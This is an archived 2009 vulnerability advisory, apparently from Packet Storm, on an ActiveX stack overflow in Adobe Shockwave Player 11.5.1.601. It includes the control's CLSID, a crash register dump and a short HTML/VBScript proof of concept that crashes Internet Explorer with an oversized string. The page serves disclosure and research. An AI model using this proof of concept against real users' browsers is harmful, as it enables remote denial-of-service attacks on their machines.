what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Adobe ShockWave Player 11.5.1.601 Stack Overflow

Adobe ShockWave Player 11.5.1.601 Stack Overflow
Posted Sep 29, 2009
Authored by Francis Provencher

Adobe ShockWave Player version 11.5.1.601 suffers from an Active-X related stack overflow vulnerability.

tags | exploit, overflow, activex
SHA-256 | 646d12dd1277f5381ebdd9ef4f9956af5e7c97f52afc635da3ab6a00a6252a6a

Adobe ShockWave Player 11.5.1.601 Stack Overflow

Change Mirror Download
#####################################################################################

Application: Adobe ShockWave Player (11.5.1.601)

Platforms: Windows XP Professional French SP2 and SP3

crash: IE 6.0.2900.2180

Exploitation: remote DoS

Date: 2009-08-24

Author: Francis Provencher (Protek Research Lab's)


#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Over 450 million Internet-enabled desktops have installed Adobe Shockwave Player.
These people now have access to some of the best the Web has to offer - including dazzling 3D games and entertainment,
interactive product demonstrations, and online learning applications. Shockwave Player displays Web content that has been created by Adobe Director.

#####################################################################################

============================
2) Technical details
============================

Name: SwDir.dll
Ver.: 11.5.1.601
CLSID: {233C1507-6A77-46A4-9443-F871F945D258}


(d40.b20): Stack overflow - code c00000fd
eax=00305004 ebx=00000003 ecx=00032f80 edx=00400000 esi=09ae0024 edi=00400002
eip=69214965 esp=0012df78 ebp=0012df8c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html>

<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2097152, "A")

ShockW.PlayerVersion = arg1

</script>



#####################################################################################
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close